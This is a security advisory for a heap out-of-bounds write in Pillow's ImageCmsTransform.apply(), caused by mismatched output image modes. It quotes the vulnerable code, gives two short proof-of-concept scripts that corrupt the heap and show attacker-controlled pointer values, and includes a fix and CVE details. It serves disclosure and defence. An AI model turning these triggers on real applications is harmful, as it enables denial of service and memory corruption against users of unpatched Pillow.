Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #1 _cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b"ABCDABCD"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ## Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`. Source Code Location: https://github.com/python-pillow/Pillow Affected Packages: - pip:pillow, affected < 12.3.0, patched in 12.3.0 CWEs: - CWE-787: Out-of-bounds Write CVSS: - Primary: score 7.5, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS_V3: score 7.5, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H References: - https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6 - https://nvd.nist.gov/vuln/detail/CVE-2026-59205 - https://github.com/python-pillow/Pillow/pull/9715 - https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721 - https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml - https://github.com/python-pillow/Pillow/releases/tag/12.3.0 - https://github.com/advisories/GHSA-9hw9-ch79-4vh6